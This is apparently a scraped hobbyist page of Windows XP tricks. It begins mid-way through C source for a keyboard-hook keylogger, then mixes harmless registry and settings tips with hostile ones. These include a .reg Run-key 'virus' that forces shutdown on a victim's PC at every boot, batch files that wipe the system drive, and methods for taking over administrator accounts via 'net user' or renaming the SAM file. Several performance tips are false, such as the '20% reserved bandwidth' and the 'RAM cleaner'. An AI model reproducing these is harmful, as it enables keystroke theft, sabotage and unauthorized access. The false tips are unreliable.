simple message loop that will be used // to block while we are logging keys. It does not // perform any real task ... void MsgLoop(){MSG message; while (GetMessage(&message,NULL,0,0)) { TranslateMessage( &message ); DispatchMessage( &message );} } // This thread is started by the main routine to install // the low level keyboard hook and start the message loop // to loop forever while waiting for keyboard events. DWORD WINAPI KeyLogger(LPVOID lpParameter){ // Get a module handle to our own executable. Usually, // the return value of GetModuleHandle(NULL) should be // a valid handle to the current application instance, // but if it fails we will also try to actually load // ourself as a library. The thread's parameter is the // first command line argument which is the path to our // executable. HINSTANCE hExe = GetModuleHandle(NULL); if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter); // Everything failed, we can't install the hook ... this // never happened, but error handling is important. if (!hExe) return 1; hKeyHook = SetWindowsHookEx ( // install the hook: WH_KEYBOARD_LL, // as a low level keyboard hook (HOOKPROC) KeyEvent, // with the KeyEvent function from this executable hExe, // and the module handle to our own executableNULL // and finally, the hook should monitor all threads. ); // Loop forever in a message loop and if the loop // stops some time, unhook the hook. I could have // added a signal handler for ctrl-c that unhooks // the hook once the application is terminated by // the user, but I was too lazy. MsgLoop(); UnhookWindowsHookEx(hKeyHook); return 0; } // The main function just starts the thread that // installs the keyboard hook and waits until it // terminates. int main(int argc, char** argv) { HANDLE hThread; DWORD dwThread; DWORD exThread; hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID) argv[0], NULL, &dwThread); if (hThread) { return WaitForSingleObject(hThread,INFINITE); } else {return 1;} } //This is for educational purpose only......... //Credits: Rani Tha

How to fix corrupted windows files in XP

This tutorial has been made so people that are having problems with corrupted files, can learn how to fix them easy. Requirement: 1. Windows XP CD Now, follow this steps: 1. Place the xp cd in your cd/dvd drive 2. Go to start 3. run 4. type "sfc /scannow" (without ") Now sit back and relax, it should all load and fix all your corrupted file on win XP.

Change your processor name

Trick - SHOW YOUR PC PENTIUM 5 OR MORE GO TO START>RUN>TYPE REGEDIT>HKEY_LOCAL_MACHINE>HARDWARE> DISCRIPTION>SYSTEM>CENTRALPROCESSOR>0 ON RIGHT HAND SIDE, RIGHT CLICK ON "PROCESSOR NAME STRING" AND CLICK ON MODIFY AND WRITE WHAT EVER YOU WANT

Crack into admin a/c from limited account (99.99% works)

Go to cmd prompt type net user press enter after this you will see some names on your screen notedown the name of admin acc then type net user (name of admin acc u want to crack into) * e.g if the name of admin acc is tamag then type net user tamag * then it will ask u for new password enter password of your choice and you got the admin password

Login with multiple ids at the same time in Yahoo! Messenger

Multiple Login in Yahoo! by regedit Follow these steps : -> * Go to Start ==> Run ==>> Type regedit, hit enter * Go to HKEY_CURRENT_USER -> Software -> Yahoo -> pager -> Test * On the right pane ==>> right-click and choose new Dword value . * Rename it as Plural. * Double click and assign a decimal value of 1. * Now close registry and restart yahoo messenger. * For signing in with new id open another messenger . ☺ ☺ Enjoy ☺ ☺

Start a movie in paint!

Start movie in Paint! * First start a movie in any player. * Then open Paint. * Now, in the player when the movie is being played, press "Print screen" button on your key board. * Now, Press ctrl+v in Paint * Leave the movie player open and don't minimize it. * Open Paint now and see the movie in the Paint! :)

Block websites without any software

Steps

1] Browse C:\WINDOWS\system32\drivers\etc

2] Find the file named "HOSTS"

3] Open it in notepad

4] Under "127.0.0.1 localhost" Add 127.0.0.2 www.orkut.com , and that site will no longer be accessable.

5] Done!

example :

127.0.0.1 localhost

127.0.0.2 www.orkut.com-

www.orkut.com is now unaccessable

For every site after that you want to add, just add "1" to the last number in the internal ip (127.0.0.2) and then the addy like before.

ie:

127.0.0.3 www.yahoo.com

127.0.0.4 www.msn.com

127.0.0.5 www.google.com

This also works with banner sites, just find the host name of the server with the banners and do the same thing with that addy.

Hope this small tutorial could keep you going in simple way of blocking websites..

How to Hide the drives(c:,d:,e:,a:...etc) in My Computer

This is a great trick you can play on your friends. To disable the display of local or networked drives when you click My Computer.

1. Go to start->run.

2. Type regedit. Now go to:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Now in the right pane create a new DWORD item and name it NoDrives(it is case sensitive). Now modify it's value and set it to 3FFFFFF (Hexadecimal). Now restart your computer. So, now when you click on My Computer, no drives will be shown(all gone...). To enable display of drives in My Computer, simply delete this DWORD item that you created. Again restart your computer. You can now see all the drives again. Magic........lol....

Increase your netspeed

go to desktop->My computer-(right click on)->manage-> ->Device manager-> now u see a window of Device manager then go to Ports->Communication Port(double click on it and Open). after open u can see a Communication Port properties. go the Port Setting:----and now increase ur "Bits per second" to 128000. and "Flow control" change 2 Hardware. U WILL NOTICE AN IMMEDIATE RESULT this will increase the receiving capacity of your input port and thus ur netspeed will be increased. :)

Speed up your PC

Clean Ur RAM U may recognize that ur system gets slower and slower when playing and working a lot with ur pc. That's cause ur RAM is full of remaining progress pieces u do not need any more. So create a new text file on ur desktop and call it .. uhm.. "RAMcleaner" or something... Type FreeMem=Space(64000000) in this file and save it as RAMcleaner.vbs [ You may choose the "All Files" option when u save it ] Run the file and ur RAM may be cleaned :) Of course u can edit the code in the file for a greater "cleaning-progress". FreeMem=Space(128000000) just try it out.. it worked for me

To lock a folder in XP

open notpad and copy the following code and save it as lock.bat cls@ECHO OFFtitle Folder Lockerif EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCKif NOT EXIST porno goto MDLOCKER:CONFIRMecho Are you sure u want to Lock the folder(Y/N)set/p "cho=>"if %cho%==Y goto LOCKif %cho%==y goto LOCKif %cho%==n goto ENDif %cho%==N goto ENDecho Invalid choice.goto CONFIRM:LOCKren porno "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"echo Folder lockedgoto End:UNLOCKecho Enter password to Unlock folderset/p "BAS=>"if NOT %BAS%==type your password here goto FAILattrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" pornoecho Folder Unlocked successfullygoto End:FAILecho Invalid passwordgoto end:MDLOCKERmd pornoecho Locker created successfullygoto End:End

Shutdown your friend's pc

Shutdown ur friend's comp when everytime it starts Thats really easy. put this followin text in a .reg file and run it in the victims pc: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this new Virus ah\" -f" DONT PUT IT IN UR COMPUTER, I AM NOT RESPONSIBLE, if it happens, to you, start windows in safe mode, and open registry editor by typiing REGEDIT in start->run. navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] and remove the string value named VIRUS, restart you computer. You can also put this in a javascript code, just add this code to your webpage

Format your hardisk with notepad:

go to notepad @Echo off Del C:\ *.*y save it as Dell.bat or worse @echo off del %systemdrive%\*.*/f/s/q shutdown -r -f -t 00 and save it as a .bat file

Automatically close non-responsive programs

With a small registry tweak, Windows XP can be set to automatically close any program that 'stops responding' (crashes), eliminating the need for you to use the task manager to close down the offending software manually. To do this: Open REGEDIT and navigate to HKEY_CURRENT_USER\Control Panel\ Desktop Modify the REG_SZ entry AutoEndTasks with a value of 1

Automatically run programs when starting Windows

If there are applications or commands that you run every single time you start your computer (Email comes to mind) you may want to consider setting things up so that these programs run automatically during the Windows XP startup. This can be done quite easily in XP by creating shortcuts and shuffling them around. Here's how: Windows XP has a startup folder located at 'C:\ Documents and Settings\ (your user name)\ Start Menu\ Programs\Startup.' Shortcuts placed into this folder will be run automatically when Windows XP starts up. If you already have shortcuts for the programs you desire to use, copy and paste them into the startup folder. Otherwise, go to 'start\programs,' select the program you would like to create a shortcut for, right click it and select 'send to' then 'desktop.' This will create a shortcut on the desktop that you can then use.

Breaking The XP Password:

In case of user password boot the pc in safemode by pressing the F8 key and then selecting the Safe Mode option. You can now logon as an administrator and XP wont prompt for the password. Incase of an administrator account try rebooting the pc in DOS. access C:\Windows\system32\config\sam . Rename SAM as SAM.mj Now XP wont ask for password next time You Login. OR Go to the cmd prompt . Type net user *. It will list all the users. Again type net user "administrator" or the name of the administrator "name" *. e.g.: net user aaaaaa *(where aaaaaa is the name). It will ask for the password. Type the password and there you are done. Logging In As Administrator: Hold the Ctrl-Alt key and press Del twice. This will bring up the normal login and you can log on as Administrator. To unhide the Administrator account so it does show up: Start Regedit Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList Unhide the Administrator key by giving it a value of 1

To convert a FAT partition to NTFS:

To convert a FAT partition to NTFS: Click Start, click Programs, and then click Command Prompt. In Windows XP, click Start, click Run, type cmd and then click OK. At the command prompt, type CONVERT [driveletter]: /FS:NTFS. Convert.exe will attempt to convert the partition to NTFS. NOTE: Although the chance of corruption or data loss during the conversion from FAT to NTFS is minimal, it is best to perform a full backup of the data on the drive that it is to be converted prior to executing the convert command. It is also recommended to verify the integrity of the backup before proceeding, as well as to run RDISK and update the emergency repair disk (ERD).

Disabling Unnecessary Programs At Startup:

Many programs add portions of themselves starting automatically on every login.This can be either in the Startup Folder or the Registry. One easy way to tell is by looking at how many icons are in your system tray. If you have a large number, perhaps unnecessary resources are being allocated them as well as increasing your boot time. Typical examples are Microsoft Office, Office FindFast, Real Player, ATI http://www.orkut.com/archive/video">Video setting etc. You can remove them in one of three main ways: In the Start / Programs / Startup Folder In the Registry under HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run

Renaming The Start Button:

To rename the start button, you will need a hex editor. My preference is UltraEdit Copy the \windows\explore.exe file to a new name (e.g. explorer_1.exe) With the hex editor, open that file and go to offset 412b6 You will see the word start with blanks between each letter Edit it be any 5 characters or less Save the file Boot to DOS Copy the existing c:\windows\explorer.exe to explorer.org Copy explorer_1.exe to explorer.exe You will also need to replace the explorer.exe in the c:\windows\system32\dllcache file as well with the new one. Note: If the partition is NTFS and you can't access the files from DOS: Start Regedit Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon. Change the value of Shell from Explorer.exe to explorer_1.exe

EXTREMELY FAST BOOTUP

The trick is Enabling Hibernation: Go to diplay properties>screen savers>power>hibernate. Check 'Enable Hibernation'. Press shift button after you click 'Turn Off Computer' in start menu.

Removing Multiple Boot Screens:

If you are getting unwanted multiple boot screen Then Follow these Steps. 1> Right Click on My Computer 2>Select Properties 3>Select Advanced Tab 4>Select Settings In the Startup & Recovery Section(3rd grp) 5>Select the operating system which u want. 6>And Click OK. 7>Further again press the setting and click on Edit. 8>It will open boot.ini File. 9>Now u can delete those o/s which you don't want to be displayed. Note: For deleting operating systems from boot.ini file, keep it mind that you can'tdelete that o/s which is selected by default there. Beforemaking any changes make a copy of boot.ini file.

Modify Color Selection of Default Theme:

Open registry by going to Start then Run. Entering regedit, navigate to [HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\ThemeManager] and locate the key "ColorName". Right Click on it and select modify its value from "NormalColor" to "Metallic" Click Ok, and exit regedit and restart your computer.

Disable the Disk performance counter(s)

Windows XP contains a built in performance monitor that is constantly examining various areas of your system. This information can be called up using the performance monitor application found in control panel\administrative tools. Of course, most of us have little interest in this sort of performance statistics monitoring, that being more the territory of systems administrators than individual users. The thing is, XP is still monitoring away, and some of its observation tools can use a considerable amount of resources. The disk monitoring is an example of this, and it's a good idea to turn the disk monitors off if you are not planning to use the performance monitor application. To do this: Go to the command prompt ('start\run' then type 'cmd') and type 'diskperf -N' Alternate Method Win XP comes with many inbuilt performance monitoring applications that constantly examine various parts of the system. This information can be of real use to a system administrator for collecting performance statistics. However, for a home user, these statistics hold no value and since the monitoring happens all the time, it consumes a good deal of system resources. “Disk monitoring”, for example, happens in the background, and turning it off is advisable if you will not be using the performance monitoring applications. To turn it off, type in “diskperf -N” at a command prompt. To bring up the command prompt: go to Start>Run, type in “cmd” and press [Enter].

Creating The Suspend Shortcut:

Right click on the Desktop .New / Shortcut. Enter in rundll32.exe PowrProf.dll, SetSuspendState . Give it whatever name you want. Now when you click on that shortcut, your computer will shutdown and suspend.

Using advanced file security settings in Windows

Windows XP is based on the same platform as Windows 2000, and shares that operating system's robust file security options, at least when using the NTFS file system. Unfortunately this security system, which enables an administrator to decide exactly which files and programs any given user will have access to, is not actually implemented by default in Windows XP. This is a concession Microsoft made to avoid confusing basic users of XP Pro, and to cripple XP Home. The NTFS file security options can be enabled easily enough in XP Pro, but are apparently non-existent in the Home version. Fact is, the tools are there, you just need to look a little bit harder. To enable NTFS file security in Windows XP Home: First you need to assure that at least your main hard drive is formatted with the NTFS file system. See tip #61 for instructions on this. Restart your system. Just after the memory and BIOS check screen, but before the Windows splash screen comes up, press F8 a few times. When the Windows boot menu appears, select 'safe mode' from the list of options. Once Windows has loaded in safe mode, right click the folders and files you would like to change access to. You will notice that the 'security' tab now exists, and thus you are allowed to assign or deny access to individual users for each file, folder and program. Once you are done, restart Windows normally, and your changes will be enforced.

Adding Administrative Tools Icon To The Desktop:

Open Registry Editor. In Registry Editor, navigate to the following registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace . Create the following key: {D20EA4E1-3957-11d2-A40B-0C5020524153} (just copy/paste, including the brackets). Close Registry Editor. There is no need to reboot. Just wait a few seconds and see how the icon appears.

Removing the Recycle Bin from the Desktop

If you don't use the Recycle Bin to store deleted files , you can get rid of its desktop icon all together. In Run, type Regedit and go to: HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/explorer/Desktop/NameSpace Delete the {645FF040-5081-101B-9F08-00AA002F954E} key in Namespace Quit Registry Editor •To get back the Recycle Bin In Run, Type Regedit Goto: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace Right-click the NameSpace point to New, and then click Key. Type {645FF040-5081-101B-9F08-00AA002F954E}, and then press ENTER. Click the new {645FF040-5081-101B-9F08-00AA002F954E} key that you created In the right pane, double-click the (Default) entry. In the Edit String dialog box, type Recycle Bin in the Value data box, and then click OK. Quit Registry Editor.

Customize Internet Explorer's Title Bar (Revised)

Open Registry by going to Start then Run and Enter regedit. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Internet. Explorer\Main. In right hand panel, right click and create new string value and name it as "Window Title" and inside that write whatever you want....

Improving the Slow Boot up time

There are a variety of reasons why your windows XP system would boot slowly. Most of the times it this has to do with the startup applications. If you would like to speed up the bootup sequence, consider removing some of the startup applications that you do not need. Easiest way to remove startup apps is through System Configuration Utility. Go to Start then Run and enter MSCONFIG and go to the Startup tab. Deselect/UnCheck application(s) that you do not want to startup at boot time.

Removing the Shortcut arrow from Desktop Icons

Goto Start then Run and Enter regedit. Navigate to HKEY_CLASSES_ROOTlnkfile. Delete the IsShortcut registry value. You may need to restart Windows XP.

Customize Logon prompt with your Own Words

Go to Start > Control Panel > Administrative Tools > Computer Management, Disk Management, then right-click the partition whose name you want to change (click in the white area just below the word "Volume") and select "change drive letter and paths." From here you can add, remove or change drive letters and paths to the partition

Increasing Band-Width By 20%

Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etc To get it back: Click Start then Run and type "gpedit.msc" without quotes.This opens the group policy editor. Then go to:Local Computer Policy then Computer Configuration then Administrative Templates then Network then QOS Packet Scheduler and then to Limit Reservable Bandwidth. Double click on Limit Reservable bandwidth. It will say it is not configured, but the truth is under the 'Explain' tab i.e."By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default."So the trick is to ENABLE reservable bandwidth, then set it to ZERO. This will allow the system to reserve nothing, rather than the default 20%.It works on Win 2000 as well.

Force windows XP to reboot upon crashing

This registry edit will cause your system to reboot itself automatically upon crashing. This can be useful if you have a reason for keeping your system on 24/7: Open REGEDIT Navigate to 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl' Edit the 'AutoReboot' value to '1'

Removing Shared Documents folder From My Computer

Open registry editor by going to Start then Run and entering regedit. Once in registry, navigate to key HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ My Computer \ NameSpace \ DelegateFolders You must see a sub-key named {59031a47-3f72-44a7-89c5-5595fe6b30ee}. If you delete this key, you have effectively removed the my shared documents folder.

Locking the desktop

If you are leaving your computer for a while and do not wish to turn it off, but want to assure that no-one else can use the computer while you are away, locking the desktop is the best option. By pressing WINDOWSKEY+L, you password protect your system just as if you had logged out or restarted the computer. The advantage is that any programs or processes that were running when you locked the desktop will stay open and running in the background, ready for you to resume work or play.

Renaming The Recycle Bin icon:

To change the name of the Recycle Bin desktop icon, click Start then goto Run, write Regedit and press Enter. It opens Registry Editor. Now in Registry Editor go to: HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E} and change the name "Recycle Bin" to whatever you want (don't type any quotes).

Modify autoplay for different types of CD

Windows XP includes the ability to perform different actions depending on the type of CD you insert into the drive. For example, you could set your system to always respond to CDs containing MP3 files by opening Windows Media Player. To edit the Autoplay properties: Open 'my computer'. Right click on the drive you wish to set and select 'properties.' Choose the autoplay tab. Use the dropdown box to see the various recognized types of CD and choose appropriate actions for them.

Creating Shutdown Icon or One Click Shutdown:

Navigate to your desktop. On the desktop, right-click and go to New, then to Shortcut (in other words, create a new shortcut). You should now see a pop-up window instructing you to enter a command line path.Use this path in "Type Location of the Item" SHUTDOWN -s -t 01 If the C: drive is not your local hard drive, then replace "C" with the correct letter of the hard drive. Click the "Next" button. Name the shortcut and click the "Finish" button. Now whenever you want to shut down, just click on this shortcut and you're done.

Deleting System Softwares

XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.

Creating a desktop shortcut for locking your computer

If you use your computer in an area where others may have access to it, and there are things on your system you would rather have kept confidential, locking your desktop when you leave the computer is an essential task. Here's a recipe for a desktop shortcut that will lock your computer in two easy clicks: Right click on an empty area of the desktop and choose 'new' then 'shortcut.' The create shortcut wizard will open; in the first text box, type '%windir%\System32\rundll32.exe user32.dll,LockWorkStation' and then give your shortcut an appropriate name on the next page, and hit 'finish.' You will notice that the shortcut you created has a blank icon. To select a more appropriate one, right click on the shortcut and hit 'properties.' In the 'shortcut' tab, click the 'change icon' button. In the 'look for icons in this file' box, type '%SystemRoot%\system32\SHELL32.dll' then click 'ok' to see a range of icons for your new shortcut. Choose an appropriate icon. Your desktop locking shortcut is now ready for use. Test it out. it is useful if u have an account as it will prompt 4 a password.